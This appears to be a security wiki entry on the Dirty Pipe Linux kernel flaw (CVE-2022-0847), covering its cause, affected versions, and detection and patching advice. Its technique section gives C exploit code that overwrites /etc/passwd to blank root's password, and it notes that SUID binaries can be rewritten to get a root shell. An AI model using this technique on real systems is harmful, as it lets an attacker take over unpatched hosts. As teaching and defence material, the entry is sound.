Dirty Pipe (CVE-2022-0847)

Dirty Pipe (CVE-2022-0847)

TL;DR: An uninitialized pipe_buffer.flags field lets any local user overwrite bytes in any read-only page-cache page, including SUID binaries and /etc/passwd, with no race window.

What it is

Max Kellermann disclosed this Linux kernel bug in March 2022 after chasing corrupted gzip downloads on a customer’s log server. The root cause is that copy_page_to_iter_pipe() and push_pipe() allocate a new pipe_buffer without clearing ->flags, so a stale PIPE_BUF_FLAG_CAN_MERGE from a previous splice survives. When the next write() to that pipe lands, the kernel treats it as appendable to the previously-spliced page — which can be a read-only page-cache page belonging to a file the attacker only has read access to. The result is a deterministic, no-crash write primitive against arbitrary file contents from any user with read access.

Preconditions / where it applies

  • Linux 5.8 through 5.16.10 / 5.15.25 / 5.10.102 (fixed in 5.16.11, backported)
  • Any local UID with read access to the target file — including read-only /etc/passwd, /usr/bin/sudo, or container image layers
  • Works inside unprivileged containers because no namespace boundary is crossed
  • Cannot extend a file or change its size; can only rewrite bytes within an existing page boundary other than the very first byte of a page

Technique

The exploit splices one byte of a target file into a pipe to seed the stale flag, then writes attacker-controlled data to the pipe. The kernel merges the write into the read-only page-cache page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int p[2]; pipe(p);
// 1. Fill pipe so every buffer gets PIPE_BUF_FLAG_CAN_MERGE set
for (unsigned i = 0; i < PIPE_SIZE / PAGE_SIZE; i++) {
    write(p[1], "X", 1);
}
char tmp[PIPE_SIZE];
read(p[0], tmp, sizeof tmp);     // drain — flags persist on freed bufs

// 2. Splice 1 byte from the victim file at offset just before our write
int fd = open("/etc/passwd", O_RDONLY);
loff_t off = target_offset - 1;
splice(fd, &off, p[1], NULL, 1, 0);

// 3. Write payload; kernel appends into the spliced page-cache page
write(p[1], "root::0:0:r00t:/root:/bin/bash\n...", payload_len);

Typical end-to-end attacks rewrite /usr/bin/su or a SUID helper to drop a root shell, or splice /etc/passwd to remove root’s password hash. No race retries are needed — one pass succeeds.

Detection and defence

  • Patch to 5.16.11 / 5.15.25 / 5.10.102 or any distro kernel released after 2022-03-07
  • No sysctl mitigates the bug; only the kernel patch does
  • auditd: watch splice(2) + write(2) sequences against pipes where the source fd is a non-writable file followed by mutation of SUID binaries (-w /usr/bin/su -p wa)
  • File integrity monitors (AIDE, Tripwire, IMA appraisal) catch the post-write state; the bug bypasses DAC, not IMA signatures
  • Read-only bind-mounts of /etc and SUID binaries do not help — the page cache is what gets dirtied
  • eBPF detectors can flag vmsplice/splice from a low-privileged task targeting SUID inodes

References

See also: kernel-exploits-linux, linux-privesc-vectors, container-escape-techniques.